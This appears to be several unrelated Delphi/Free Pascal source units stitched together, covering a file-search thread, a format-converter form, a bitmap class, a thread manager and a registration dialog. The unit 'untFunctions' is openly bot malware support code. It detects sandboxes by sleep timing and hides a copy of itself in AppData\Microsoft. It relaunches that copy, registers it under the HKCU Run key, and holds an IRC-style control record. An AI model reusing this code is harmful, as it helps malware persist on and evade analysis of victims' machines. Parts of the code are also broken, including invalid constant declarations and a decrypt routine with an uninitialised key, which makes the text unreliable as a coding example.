end;
end;
end;
procedure TFindThread.DoFile(const sNewDir: String; const sr : TSearchRecEx);
begin
if FSearchTemplate.FindInArchives then
FindInArchive(IncludeTrailingBackslash(sNewDir) + sr.Name);
if CheckFile(sNewDir, sr) then
begin
if FSearchTemplate.Duplicates then
begin
if CheckDuplicate(sNewDir, sr) then
begin
FFoundFile := IncludeTrailingBackslash(sNewDir) + sr.Name;
Synchronize(@AddDuplicateFile);
end;
end
else begin
FFoundFile := IncludeTrailingBackslash(sNewDir) + sr.Name;
Synchronize(@AddFile);
Inc(FFilesFound);
end;
end;
Inc(FFilesScanned);
end;
procedure TFindThread.WalkAdr(const sNewDir:String);
var
sr: TSearchRecEx;
Path, SubPath: String;
IsLink: Boolean;
begin
if Terminated then
Exit;
Inc(FCurrentDepth);
FCurrentDir := sNewDir;
// Search all files to display statistics
Path := IncludeTrailingBackslash(sNewDir) + '*';
if FindFirstEx(Path, 0, sr) = 0 then
repeat
if not (FPS_ISDIR(sr.Attr) or FileIsLinkToDirectory(sNewDir + PathDelim + sr.Name, sr.Attr)) then
DoFile(sNewDir, sr)
else if (sr.Name <> '.') and (sr.Name <> '..') then
begin
DoFile(sNewDir, sr);
// Search in sub folders
if (FCurrentDepth < FSearchTemplate.SearchDepth) and CheckDirectory(sNewDir, sr.Name) then
begin
SubPath := IncludeTrailingBackslash(sNewDir) + sr.Name;
IsLink := FPS_ISLNK(sr.Attr);
if FSearchTemplate.FollowSymLinks then
begin
if IsLink then
SubPath := mbReadAllLinks(SubPath);
if FLinkTargets.IndexOf(SubPath) >= 0 then
Continue; // Link already encountered - links form a cycle.
// Add directory to already-searched list.
FLinkTargets.Add(SubPath);
end
else if IsLink then
Continue;
WalkAdr(SubPath);
FCurrentDir := sNewDir;
end;
end;
until (FindNextEx(sr) <> 0) or Terminated;
FindCloseEx(sr);
Dec(FCurrentDepth);
end;
function TFindThread.IsAborting: Boolean;
begin
Result := Terminated;
end;
end.
|
unit U_FormatConverterTester.View;
interface
uses
System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants,
FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, FMX.Layouts,
FMX.Objects, FMX.Effects, FMX.Controls.Presentation, FMX.ScrollBox, FMX.Memo,
FMX.StdCtrls, U_XML.JSON, Xml.XMLDoc, System.JSON, U_JSON.XML, Xml.xmldom,
Xml.XmlTransform, Xml.XMLIntf;
type
TFormatConverter = class(TForm)
Layout1: TLayout;
Layout2: TLayout;
Layout3: TLayout;
Layout4: TLayout;
Layout5: TLayout;
Layout6: TLayout;
Layout7: TLayout;
Layout8: TLayout;
Layout9: TLayout;
Layout10: TLayout;
textoTitulo: TText;
textoOrigem: TText;
textoResultado: TText;
ShadowEffect1: TShadowEffect;
ShadowEffect2: TShadowEffect;
ShadowEffect3: TShadowEffect;
memoOriginal: TMemo;
memoResultado: TMemo;
Layout11: TLayout;
Layout12: TLayout;
Layout13: TLayout;
Layout14: TLayout;
Layout15: TLayout;
Layout16: TLayout;
Layout17: TLayout;
bJSONtoCSV: TButton;
bJSONtoXML: TButton;
bXMLtoCSV: TButton;
bXMLtoJSON: TButton;
bCSVtoXML: TButton;
bCSVtoJSON: TButton;
procedure FormShow(Sender: TObject);
procedure bXMLtoJSONClick(Sender: TObject);
procedure bCSVtoJSONClick(Sender: TObject);
procedure bCSVtoXMLClick(Sender: TObject);
procedure bJSONtoCSVClick(Sender: TObject);
procedure bJSONtoXMLClick(Sender: TObject);
procedure bXMLtoCSVClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
var
XMLtoJSON : TXMLtoJSON;
JSONtoXML : TJSONtoXML;
procedure convertTest();
public
{ Public declarations }
end;
var
FormatConverter: TFormatConverter;
implementation
{$R *.fmx}
procedure TFormatConverter.bCSVtoJSONClick(Sender: TObject);
begin
convertTest();
end;
procedure TFormatConverter.bCSVtoXMLClick(Sender: TObject);
begin
convertTest();
end;
procedure TFormatConverter.bJSONtoCSVClick(Sender: TObject);
begin
convertTest();
end;
procedure TFormatConverter.bJSONtoXMLClick(Sender: TObject);
var
xml : TXMLDocument;
list : TStringList;
json : TJSONObject;
begin
json := JSONtoXML.normalizeOrigin(memoOriginal.Text);
list := JSONtoXML.normalizeOrigin(json);
memoOriginal.Lines.Clear;
memoOriginal.Lines := list;
xml := JSONtoXML.originTypeToReturnType(json);
list := JSONtoXML.normalizeReturn(xml);
memoResultado.Lines.Clear;
memoResultado.lines := list;
end;
procedure TFormatConverter.bXMLtoCSVClick(Sender: TObject);
begin
convertTest();
end;
procedure TFormatConverter.bXMLtoJSONClick(Sender: TObject);
var
xml : TXMLDocument;
list : TStringList;
json : TJSONObject;
begin
xml := XMLtoJSON.normalizeOrigin(memoOriginal.Text);
list := XMLtoJSON.normalizeOrigin(xml);
memoOriginal.Lines.Clear;
memoOriginal.Lines := list;
json := XMLtoJSON.originTypeToReturnType(xml);
list := XMLtoJSON.normalizeReturn(json);
memoResultado.Lines.Clear;
memoResultado.lines := list;
end;
procedure TFormatConverter.convertTest;
begin
memoResultado.Text := memoOriginal.Text;
end;
procedure TFormatConverter.FormCreate(Sender: TObject);
begin
XMLtoJSON := TXMLtoJSON.Create();
end;
procedure TFormatConverter.FormShow(Sender: TObject);
var
ScreenSize: TSize;
blocosConteudoWitdth : Integer;
blocosBotoesWitdth : Integer;
begin
ScreenSize := Screen.Size;
Self.Width := trunc(ScreenSize.Width * 0.8);
Self.Height := trunc(ScreenSize.Height * 0.8);
blocosBotoesWitdth := trunc(Self.ClientWidth * 0.15);
blocosConteudoWitdth := trunc(Self.Layout3.Width / 2) - 10;
Self.Layout2.Width := blocosBotoesWitdth;
Self.Layout5.Width := blocosConteudoWitdth;
Self.Layout7.Width := blocosConteudoWitdth;
memoOriginal.Lines.Clear;
memoResultado.Lines.Clear;
end;
end.
|
unit untFunctions;
interface
uses
Windows,
Winsock,
ShellAPI,
Registry,
UrlMon,
shfolder,
ShlObj,
SysUtils;
{$I Settings.ini}
type
TControlSetting = Record
ControlNick :String;
ControlChannel :String;
ControlIdent :String;
ControlHost :String;
End;
Function fetchLocalName: String;
Function fetchCurrent: String;
Function fechLang: string;
Function fetchOS: String;
Function fetchRandom(intNumber: Integer): String;
Function fetchIPfromDNS(szDNS: PChar): String;
Function fetchHostFromIP(szIP: PChar): String;
Function executeFile(szFilename: String; szParameters: String; bHidden: Boolean): Boolean;
Function ReplaceShortcuts(szText: String): String;
Function IsInSandBox: Boolean;
Function IntToStr(Const Value: Integer): String;
Function StrToInt(Const S: String): Integer;
Function LowerCase(Const S: String): String;
Function GetKBS(dByte: Integer): String;
Procedure ReplaceStr(ReplaceWord, WithWord:String; Var Text: String);
Procedure StartUp(EXE:string);
Procedure Uninstall;
Var
DownloadDir: String;
implementation
(* Function to calculate KB/s *)
Function GetKBS(dByte: Integer): String;
Var
dB :Integer;
dKB :Integer;
dMB :Integer;
dGB :Integer;
dT :Integer;
Begin
dB := dByte;
dKB := 0;
dMB := 0;
dGB := 0;
dT := 1;
While (dB > 1024) Do
Begin
Inc(dKB, 1);
Dec(dB , 1024);
dT := 1;
End;
While (dKB > 1024) Do
Begin
Inc(dMB, 1);
Dec(dKB, 1024);
dT := 2;
End;
While (dMB > 1024) Do
Begin
Inc(dGB, 1);
Dec(dMB, 1024);
dT := 3;
End;
Case dT Of
1: Result := IntToStr(dKB) + '.' + Copy(IntToStr(dB ),1,2) + ' kb';
2: Result := IntToStr(dMB) + '.' + Copy(IntToStr(dKB),1,2) + ' mb';
3: Result := IntToStr(dGB) + '.' + Copy(IntToStr(dMB),1,2) + ' gb';
End;
End;
(* Function to make text lowercase *)
Function LowerCase(Const S: String): String;
Var
Ch :Char;
L :Integer;
Source:pChar;
Dest :pChar;
Begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
While (L <> 0) Do
Begin
Ch := Source^;
If (Ch >= 'A') And (Ch <= 'Z') Then
Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
End;
End;
(* Function to resolve IP from DNS *)
Function fetchIPfromDNS(szDNS: PChar): String;
Type
TAddr = Array[0..100] Of PInAddr;
PAddr = ^TAddr;
Var
iLoop :Integer;
WSAData :TWSAData;
HostEnt :PHostEnt;
Addr :PAddr;
Begin
WSAStartUP($101, WSAData);
Try
HostEnt := GetHostByName(szDNS);
If (HostEnt <> NIL) Then
Begin
Addr := PAddr(HostEnt^.h_addr_list);
iLoop := 0;
While (Addr^[iLoop] <> NIL) Do
Begin
Result := inet_nToa(Addr^[iLoop]^);
Inc(iLoop);
End;
End;
Except
Result := '0.0.0.0';
End;
WSACleanUP();
End;
(* Function to resolve Host from IP *)
Function fetchHostFromIP(szIP: PChar): String;
Var
SockAddrIn :TSockAddrIn;
HostEnt :PHostEnt;
WSAData :TWSAData;
Begin
WSAStartUP($101, WSAData);
SockAddrIn.sin_addr.S_addr := inet_addr(szIP);
HostEnt := GetHostByAddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET);
If HostEnt <> NIL Then
Result := String(HostEnt^.h_name)
Else
Result := '';
WSACleanUP();
End;
(* Function to Convert String to Integer *)
Function StrToInt(Const S: String): Integer;
Var
E: Integer;
Begin
Val(S, Result, E);
End;
(* Function to Convert Integer to String *)
Function IntToStr(Const Value: Integer): String;
Var
S: String[11];
Begin
Str(Value, S);
Result := S;
End;
(* Function to determine if
we are running in a sandbox *)
Function IsInSandBox: Boolean;
Var
TCount1 :Integer;
TCount2 :Integer;
TCount3 :Integer;
Begin
Result := False;
TCount1 := GetTickCount();
Sleep(5000);
TCount2 := GetTickCount();
Sleep(5000);
TCount3 := GetTickCount();
If ((TCount2 - TCount1) < 5000) And
((TCount3 - TCount1) < 10000) Then
Result := True;
End;
(* Function to fetch Local Name *)
Function fetchLocalName: String;
Var
LocalHost : Array [0..63] Of Char;
Begin
GetHostName(LocalHost, SizeOf(LocalHost));
Result := String(LocalHost);
End;
(* Function to replace shortcuts *)
Function ReplaceShortcuts(szText: String): String;
var
path:array[0..Max_Path] of Char;
string1:string;
Begin
ReplaceStr('%os%', fetchOS, szText);
ReplaceStr('%cc%', fechLang, szText);
ReplaceStr('%rn%', fetchRandom(5), szText);
//ReplaceStr('%ln%', fetchLocalName, szText);
Result := '[NEW][' + fechLang + ']' + fetchRandom(5);
ShGetSpecialFolderPath(0,path, CSIDL_WINDOWS, False);
string1 := path + '\system32\';
If fetchCurrent = string1 then Result := szText;
End;
(* Function to generate a random number *)
Function fetchRandom(intNumber: Integer): String;
Var
I :Integer;
Begin
Randomize;
Result := '';
For I := 1 To intNumber Do
Result := Result + IntToStr(Random(10));
End;
(* Function to fetch language *)
function fechLang: string;
Var
IsValidCountryCode :Boolean;
CountryCode :Array[0..4] of Char;
Begin
IsValidCountryCode := (3 = GetLocaleInfo(LOCALE_USER_DEFAULT,LOCALE_SISO3166CTRYNAME,CountryCode,SizeOf(CountryCode)));
if IsValidCountryCode then
Begin
result := PChar(@CountryCode[0]);
end;
end;
(* Function to replace strings *)
Procedure ReplaceStr(ReplaceWord, WithWord:String; Var Text: String);
Var
xPos: Integer;
Begin
While Pos(ReplaceWord, Text)>0 Do
Begin
xPos := Pos(ReplaceWord, Text);
Delete(Text, xPos, Length(ReplaceWord));
Insert(WithWord, Text, xPos);
End;
End;
(* Function to fetch Windows OS *)
function fetchOS: String;
var
PlatformId, VersionNumber: string;
CSDVersion: String;
begin
Result := 'UNK';
CSDVersion := '';
// Detect platform
case Win32Platform of
// Test for the Windows 95 product family
VER_PLATFORM_WIN32_WINDOWS:
begin
if Win32MajorVersion = 4 then
case Win32MinorVersion of
0: if (Length(Win32CSDVersion) > 0) and
(Win32CSDVersion[1] in ['B', 'C']) then
PlatformId := '95R2'
else
PlatformId := '95';
10: if (Length(Win32CSDVersion) > 0) and
(Win32CSDVersion[1] = 'A') then
PlatformId := '98SE'
else
PlatformId := '98';
90: PlatformId := 'ME';
end
else
PlatformId := '9X';
end;
// Test for the Windows NT product family
VER_PLATFORM_WIN32_NT:
begin
if Length(Win32CSDVersion) > 0 then CSDVersion := Win32CSDVersion;
if Win32MajorVersion <= 4 then
PlatformId := 'NT'
else
if Win32MajorVersion = 5 then
case Win32MinorVersion of
0: PlatformId := '2000';
1: PlatformId := 'XP';
2: PlatformId := '2K3';
end
else if (Win32MajorVersion = 6) and (Win32MinorVersion = 0) then
PlatformId := 'VIS'
else if (Win32MajorVersion = 6) and (win32minorversion = 1)then
PlatformId := 'W7'
else
PlatformId := 'UNK';
end;
end;
if (PlatformId = #0) and (CsdVersion = #0) then begin
result := 'UNK';
end;
Result := PlatformId;
end;
(* Function to add bot to startup *)
procedure startup(EXE:string);
var
path:array[0..Max_Path] of Char;
string1:string;
myReg: TRegistry;
handle:Thandle;
begin
Handle := loadlibrary('Urlmon.dll'); // load the dll
ShGetSpecialFolderPath(0,path, CSIDL_APPDATA, False);
string1 := path + '\Microsoft\' + EXE;
DownloadDir := path + '\Microsoft\';
if FileExists(string1) then begin
deletefile(string1);
end;
copyFile(pchar(paramstr(0)),pchar(string1),false);
if fileexists(string1) then begin
SetFileAttributes(PChar(string1),FILE_ATTRIBUTE_HIDDEN);
end;
if paramstr(0) <> string1 then begin
shellExecute(handle, 'open', pChar(string1), nil, nil, SW_SHOW);
exitprocess(0);
end;
try
myReg := TRegistry.Create;
myReg.RootKey := HKEY_CURRENT_USER;
if myReg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', TRUE) then
begin
myReg.WriteString(EXE, string1);
end;
finally
myReg.Free;
end;
end;
(* Function to uninstall bot *)
Procedure Uninstall;
var
myreg:Tregistry;
begin
try
myReg := TRegistry.Create;
myReg.RootKey := HKEY_CURRENT_USER;
if myReg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run\', TRUE) then
begin
myreg.DeleteValue(bot_installname);
end;
finally
myReg.Free;
end;
end;
(* Function to encrypt text *)
function Decrypt(sInput:string; sKey:string):string;
var
iKey: integer;
iInput: integer;
Count: integer;
i: integer;
begin
For Count := 1 to Length(sInput) do
begin
iInput := Ord(sInput[Count]);
For i := 1 to Length(sKey) do
begin
iKey := iKey + Ord(sKey[i]) xor 10
end;
Result := Result + (Char(iInput xor iKey shr 3))
end;
end;
(* Function to execute a file *)
Function executeFile(szFilename: String; szParameters: String; bHidden: Boolean): Boolean;
Begin
Result := ShellExecute(0, 'open', pChar(szFileName), pChar(szParameters), NIL, Integer(bHidden)) > 32;
End;
(* Function to fetch Current directory *)
Function fetchCurrent: String;
Var
Dir :Array[0..255] Of Char;
Begin
GetCurrentDirectory(256, Dir);
Result := String(Dir) + '\';
End;
end.
|
unit ILPP_SimpleBitmap;
{$INCLUDE '.\ILPP_defs.inc'}
interface
uses
AuxTypes,
ILPP_Base;
{===============================================================================
--------------------------------------------------------------------------------
TSimpleBitmap
--------------------------------------------------------------------------------
===============================================================================}
{===============================================================================
TSimpleBitmap - class declaration
===============================================================================}
type
TSimpleBitmap = class(TObject)
private
fMemory: Pointer;
fSize: TMemSize;
fWidth: UInt32;
fHeight: UInt32;
Function GetPixel(X,Y: UInt32): TRGBAQuadruplet;
procedure SetPixel(X,Y: UInt32; Value: TRGBAQuadruplet);
procedure SetWidth(Value: UInt32);
procedure SetHeight(Value: UInt32);
protected
procedure Reallocate(NewSize: TMemSize);
public
constructor Create;
destructor Destroy; override;
Function ScanLine(Y: UInt32): Pointer; virtual;
property Memory: Pointer read fMemory;
property Size: TMemSize read fSize;
property Pixels[X,Y: UInt32]: TRGBAQuadruplet read GetPixel write SetPixel; default;
property Width: UInt32 read fWidth write SetWidth;
property Height: UInt32 read fHeight write SetHeight;
end;
implementation
uses
SysUtils;
{===============================================================================
--------------------------------------------------------------------------------
TSimpleBitmap
--------------------------------------------------------------------------------
===============================================================================}
{===============================================================================
TSimpleBitmap - class implementation
===============================================================================}
{-------------------------------------------------------------------------------
TSimpleBitmap - private methods
-------------------------------------------------------------------------------}
Function TSimpleBitmap.GetPixel(X,Y: UInt32): TRGBAQuadruplet;
begin
If (Y < fHeight) and (X < fWidth) then
begin
Result := PRGBAQuadruplet(PtrUInt(fMemory) + (((PtrUInt(fWidth) * PtrUInt(Y)) + PtrUInt(X)) * SizeOf(TRGBAQuadruplet)))^;
end
else raise Exception.CreateFmt('Invalid coordinates [%d,%d].',[X,Y]);
end;
//------------------------------------------------------------------------------
procedure TSimpleBitmap.SetPixel(X,Y: UInt32; Value: TRGBAQuadruplet);
begin
If (Y < fHeight) and (X < fWidth) then
begin
PRGBAQuadruplet(PtrUInt(fMemory) + (((PtrUInt(fWidth) * PtrUInt(Y)) + PtrUInt(X)) * SizeOf(TRGBAQuadruplet)))^ := Value;
end
else raise Exception.CreateFmt('Invalid coordinates [%d,%d].',[X,Y]);
end;
//------------------------------------------------------------------------------
procedure TSimpleBitmap.SetWidth(Value: UInt32);
var
NewSize: TMemSize;
begin
If Value <> fWidth then
begin
NewSize := TMemSize(Value) * TMemSize(fHeight) * SizeOf(TRGBAQuadruplet);
Reallocate(NewSize);
fWidth := Value;
end;
end;
//------------------------------------------------------------------------------
procedure TSimpleBitmap.SetHeight(Value: UInt32);
var
NewSize: TMemSize;
begin
If Value <> fHeight then
begin
NewSize := TMemSize(fWidth) * TMemSize(Value) * SizeOf(TRGBAQuadruplet);
Reallocate(NewSize);
fHeight := Value;
end;
end;
{-------------------------------------------------------------------------------
TSimpleBitmap - protected methods
-------------------------------------------------------------------------------}
procedure TSimpleBitmap.Reallocate(NewSize: TMemSize);
begin
If NewSize <> fSize then
begin
ReallocMem(fMemory,NewSize);
fSize := NewSize;
end;
end;
{-------------------------------------------------------------------------------
TSimpleBitmap - public methods
-------------------------------------------------------------------------------}
constructor TSimpleBitmap.Create;
begin
inherited Create;
fMemory := nil;
fSize := 0;
fWidth := 0;
fHeight := 0;
end;
//------------------------------------------------------------------------------
destructor TSimpleBitmap.Destroy;
begin
If Assigned(fMemory) and (fSize > 0) then
FreeMem(fMemory,fSize);
inherited;
end;
//------------------------------------------------------------------------------
Function TSimpleBitmap.ScanLine(Y: UInt32): Pointer;
begin
Result := Pointer(PtrUInt(fMemory) + ((PtrUInt(fWidth) * PtrUInt(Y)) * SizeOf(TRGBAQuadruplet)));
end;
end.
|
unit uDBCustomThread;
interface
uses
Windows,
Classes,
SyncObjs,
Dmitry.Utils.System,
{$IFNDEF EXTERNAL}
uThemesUtils,
{$ENDIF}
uMemory;
type
TDBCustomThread = class(TThread)
private
FID: TGUID;
{$IFNDEF EXTERNAL}
function GetTheme: TDatabaseTheme;
{$ENDIF}
public
constructor Create(CreateSuspended: Boolean);
destructor Destroy; override;
property UniqID: TGuid read FID;
{$IFNDEF EXTERNAL}
property Theme: TDatabaseTheme read GetTheme;
{$ENDIF}
end;
TTDBThreadClass = class of TDBCustomThread;
TThreadInfo = class
public
Thread: TThread;
Handle: THandle;
ID: TGUID;
end;
TDBThreadManager = class
private
FThreads: TList;
FSync: TCriticalSection;
public
constructor Create;
destructor Destroy; override;
procedure RegisterThread(Thread: TThread);
procedure UnRegisterThread(Thread: TThread);
procedure WaitForAllThreads(MaxTime: Cardinal);
function IsThread(Thread: TThread): Boolean; overload;
function IsThread(Thread: TGUID): Boolean; overload;
function GetThreadHandle(Thread: TThread): THandle; overload;
function GetThreadHandle(Thread: TGUID): THandle; overload;
end;
TCustomWaitProc = procedure;
function DBThreadManager: TDBThreadManager;
var
CustomWaitProc: TCustomWaitProc = nil;
implementation
var
FDBThreadManager: TDBThreadManager = nil;
function DBThreadManager: TDBThreadManager;
begin
if FDBThreadManager = nil then
FDBThreadManager := TDBThreadManager.Create;
Result := FDBThreadManager;
end;
{ TDBThreadManager }
constructor TDBThreadManager.Create;
begin
FThreads := TList.Create;
FSync := TCriticalSection.Create;
end;
destructor TDBThreadManager.Destroy;
begin
F(FThreads);
F(FSync);
inherited;
end;
function TDBThreadManager.GetThreadHandle(Thread: TGUID): THandle;
var
I: Integer;
begin
Result := 0;
FSync.Enter;
try
for I := 0 to FThreads.Count - 1 do
if SafeIsEqualGUID(TThreadInfo(FThreads[I]).ID, Thread) then
begin
Result := TThreadInfo(FThreads[I]).Handle;
Break;
end;
finally
FSync.Leave;
end;
end;
function TDBThreadManager.GetThreadHandle(Thread: TThread): THandle;
var
I: Integer;
begin
Result := 0;
FSync.Enter;
try
for I := 0 to FThreads.Count - 1 do
if TThreadInfo(FThreads[I]).Thread = Thread then
begin
Result := TThreadInfo(FThreads[I]).Handle;
Break;
end;
finally
FSync.Leave;
end;
end;
function TDBThreadManager.IsThread(Thread: TGUID): Boolean;
var
I: Integer;
begin
Result := False;
FSync.Enter;
try
for I := 0 to FThreads.Count - 1 do
if SafeIsEqualGUID(TThreadInfo(FThreads[I]).ID, Thread) then
begin
Result := True;
Break;
end;
finally
FSync.Leave;
end;
end;
function TDBThreadManager.IsThread(Thread: TThread): Boolean;
var
I: Integer;
begin
Result := False;
FSync.Enter;
try
for I := 0 to FThreads.Count - 1 do
if TThreadInfo(FThreads[I]).Thread = Thread then
begin
Result := True;
Break;
end;
finally
FSync.Leave;
end;
end;
procedure TDBThreadManager.RegisterThread(Thread: TThread);
var
Info: TThreadInfo;
begin
FSync.Enter;
try
Info := TThreadInfo.Create;
Info.Thread := Thread;
Info.Handle := Thread.Handle;
if Thread is TDBCustomThread then
Info.ID := TDBCustomThread(Thread).FID
else
Info.ID := GetEmptyGUID;
FThreads.Add(Info);
finally
FSync.Leave;
end;
end;
procedure TDBThreadManager.UnRegisterThread(Thread: TThread);
var
I: Integer;
begin
FSync.Enter;
try
if Thread is TDBCustomThread then
begin
for I := 0 to FThreads.Count - 1 do
begin
if SafeIsEqualGUID(TThreadInfo(FThreads[I]).ID, TDBCustomThread(Thread).FID) then
begin
TThreadInfo(FThreads[I]).Free;
FThreads.Delete(I);
Exit;
end;
end;
end else
begin
for I := 0 to FThreads.Count - 1 do
begin
if TThreadInfo(FThreads[I]).Thread = Thread then
begin
TThreadInfo(FThreads[I]).Free;
FThreads.Delete(I);
Exit;
end;
end;
end;
finally
FSync.Leave;
end;
end;
procedure TDBThreadManager.WaitForAllThreads(MaxTime: Cardinal);
var
Count: Integer;
StartTime: Cardinal;
begin
StartTime := GetTickCount;
repeat
FSync.Enter;
try
Count := FThreads.Count;
finally
FSync.Leave;
end;
Sleep(1);
if Assigned(CustomWaitProc) then
CustomWaitProc;
CheckSynchronize;
until (Count = 0) or (GetTickCount - StartTime > MaxTime);
end;
{ TDBCustomThread }
constructor TDBCustomThread.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
FID := SafeCreateGUID;
DBThreadManager.RegisterThread(Self);
end;
destructor TDBCustomThread.Destroy;
begin
DBThreadManager.UnRegisterThread(Self);
inherited;
end;
{$IFNDEF EXTERNAL}
function TDBCustomThread.GetTheme: TDatabaseTheme;
begin
Result := uThemesUtils.Theme;
end;
{$ENDIF}
initialization
finalization
F(FDBThreadManager);
end.
|
unit HURegistration;
{$mode objfpc}{$H+}
//========================================================================================
//
// Unit : HURegistration.pas
//
// Description :
//
// Called By :
//
// Calls : HUConstants
// HUValidations : ValidNameCharacter
// ValidEmailCharacter
//
// Ver. : 1.0.0
//
// Date : 10 Feb 2019
//
//========================================================================================
interface
uses
Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs, Buttons,
StdCtrls, ExtCtrls,
// Application units
// HULib units
HUConstants, HUValidations;
type
{ TdlgHURegistration }
TdlgHURegistration = class(TForm)
bbtRegister: TBitBtn;
bbtCancel: TBitBtn;
edtFirstName: TEdit;
edtReg: TEdit;
edtEmailAddress: TEdit;
edtCallsign: TEdit;
edtLastName: TEdit;
lblFirstName: TLabel;
lblLastName: TLabel;
lblID: TLabel;
lblCallsign: TLabel;
lblEmailAddress: TLabel;
memInstructions: TMemo;
procedure bbtCancelClick(Sender: TObject);
procedure bbtRegisterClick(Sender: TObject);
procedure edtCallsignKeyPress(Sender: TObject; var Key: char);
procedure edtEmailAddressKeyPress(Sender: TObject; var Key: char);
procedure edtFirstNameKeyPress(Sender: TObject; var Key: char);
procedure edtLastNameKeyPress(Sender: TObject; var Key: char);
procedure FormCreate(Sender: TObject);
procedure FormShow(Sender: TObject);
private
fFirstName : string;
fLastName : string;
fEmailAddress : string;
fCallsign : string;
fRegKey : string;
function GetFirstName : string;
procedure SetFirstName(FirstName : string);
function ValidateFirstName : Boolean;
function GetLastName : string;
procedure SetLastName(LastName : string);
function ValidateLastName : Boolean;
function GetEmailAddress : string;
procedure SetEmailAddress(EmailAddress : string);
function ValidateEmailAddress : Boolean;
function GetCallsign : string;
procedure SetCallsign(Callsign : string);
function ValidateCallsign : Boolean;
function GetRegKey : string;
procedure SetRegKey(RegKey : string);
public
property pFirstName : string read GetFirstName write SetFirstName;
property pLastName : string read GetLastName write SetLastName;
property pEmailAddress : string read GetEmailAddress write SetEmailAddress;
property pRegKey : string read GetRegKey write SetRegKey;
property pCallsign : string read GetCallsign write SetCallsign;
end;// TdlgHURegistration
var
dlgHURegistration: TdlgHURegistration;
implementation
{$R *.lfm}
//========================================================================================
// PRIVATE CONSTANTS
//========================================================================================
const
cstrMemInstructions = K_CR +
'You are using an un-registered copy of this software.' +
K_CR + K_CR +
'Registering your copy will ensure you get notified of any ' +
'Bug Fixes, Changes or Enhancements to keep it current.' +
K_CR + K_CR +
'Your registration data will never be sold or shared.';
cintFirstNameMaxLength = 20;
cintLastNameMaxLength = 20;
cintEmailAddressMaxLength = 30;
cintCallsignMaxLength = 20;
cintFirstNameMinLength = 2;
cintLastName.MinLength = 2;
cintEmailAddress.MinLength = 10;
cintCallsign.MinLength = 3;
//========================================================================================
// PUBLIC CONSTANTS
//========================================================================================
//========================================================================================
// PRIVATE VARIABLES
//========================================================================================
//========================================================================================
// PUBLIC VARIABLES
//========================================================================================
//========================================================================================
// PRIVATE ROUTINES
//========================================================================================
//========================================================================================
// PUBLIC ROUTINES
//========================================================================================
//========================================================================================
// PROPERTY ROUTINES
//========================================================================================
function TdlgHURegistration.GetFirstName: string;
begin
Result := fFirstName;
end;// function TdlgHURegistration.GetFirstName
//----------------------------------------------------------------------------------------
procedure TdlgHURegistration.SetFirstName(FirstName: string);
begin
fFirstName := FirstName;
end;// procedure TdlgHURegistration.SetFirstName
//========================================================================================
function TdlgHURegistration.GetLastName: string;
begin
Result := fLastName;
end;// function TdlgHURegistration.GetLastName
//----------------------------------------------------------------------------------------
procedure TdlgHURegistration.SetLastName(LastName: string);
begin
fLastName := LastName;
end;// procedure TdlgHURegistration.SetLastName
//========================================================================================
function TdlgHURegistration.GetEmailAddress: string;
begin
Result := fEmailAddress;
end;// function TdlgHURegistration.GetEmailAddress
//----------------------------------------------------------------------------------------
procedure TdlgHURegistration.SetEmailAddress(EmailAddress: string);
begin
fEmailAddress := EmailAddress;
end;// procedure TdlgHURegistration.SetEmailAddress
//========================================================================================
function TdlgHURegistration.GetCallsign: string;
begin
Result := fCallsign;
end;// function TdlgHURegistration.GetCallsign
//----------------------------------------------------------------------------------------
procedure TdlgHURegistration.SetCallsign(Callsign: string);
begin
fCallsign := Callsign;
end;// procedure TdlgHURegistration.SetCallsigns
//========================================================================================
function TdlgHURegistration.GetRegKey: string;
begin
Result := fRegKey;
end;// function TdlgHURegistration.GetRegKeyn
//----------------------------------------------------------------------------------------
procedure TdlgHURegistration.SetRegKey(RegKey: string);
begin
fRegKey := RegKey;
end;// procedure TdlgHURegistration.SetRegKey
//========================================================================================
// MENU ROUTINES
//========================================================================================
//========================================================================================
// COMMAND BUTTON ROUTINES
//========================================================================================
procedure TdlgHURegistration.bbtCancelClick(Sender: TObject);
begin
end;// procedure TdlgHURegistration.bbtCancelClick
//========================================================================================
procedure TdlgHURegistration.bbtRegisterClick(Sender: TObject);
begin
if not ValidateFirstName then
begin
ModalResult := mrNone;
showmessage('Invalid First Name');
edtFirstName.SetFocus;
Exit;
end;// if not ValidateFirstName
if not ValidateLastName then
begin
ModalResult := mrNone;
showmessage('Invalid Last Name');
edtLastName.SetFocus;
Exit;
end;// if not ValidateLastName
if not ValidateEmailAddress then
begin
ModalResult := mrNone;
showmessage('Invalid Email Address');
edtEmailAddress.SetFocus;
Exit;
end;// if not ValidateEmailAddress
if not ValidateCallsign then
begin
ModalResult := mrNone;
showmessage('Invalid Callsign');
edtCallsign.SetFocus;
Exit;
end;// if not ValidateCallsign
end;// procedure TdlgHURegistration.bbtRegisterClick
//========================================================================================
//========================================================================================
// CONTROL ROUTINES
//========================================================================================
procedure TdlgHURegistration.edtFirstNameKeyPress(Sender: TObject; var Key: char
);
begin
Key := ValidNameCharacter(Key);
end;// procedure TdlgHURegistration.edtFirstNameKeyPress
//----------------------------------------------------------------------------------------
function TdlgHURegistration.ValidateFirstName : Boolean;
begin
if Length(edtFirstName.Text) < cintFirstNameMinLength then
Result := False
else
Result := True;
end;// function TdlgHURegistration.ValidateFirstName
//========================================================================================
procedure TdlgHURegistration.edtLastNameKeyPress(Sender: TObject; var Key: char
);
begin
Key := ValidNameCharacter(Key);
end;// procedure TdlgHURegistration.edtLastNameKeyPress
//----------------------------------------------------------------------------------------
function TdlgHURegistration.ValidateLastName : Boolean;
begin
if Length(edtLastName.Text) < cintLastNameMinLength then
Result := False
else
Result := True;
end;// function TdlgHURegistration.ValidateLastName
//========================================================================================
procedure TdlgHURegistration.edtEmailAddressKeyPress(Sender: TObject;
var Key: char);
begin
Key := ValidEmailCharacter(Key);
end;// procedure TdlgHURegistration.edtEmailAddressKeyPress
//----------------------------------------------------------------------------------------
function TdlgHURegistration.ValidateEmailAddress : Boolean;
begin
if Length(edtEmailAddress.Text) < cintEmailAddressMinLength then
Result := False
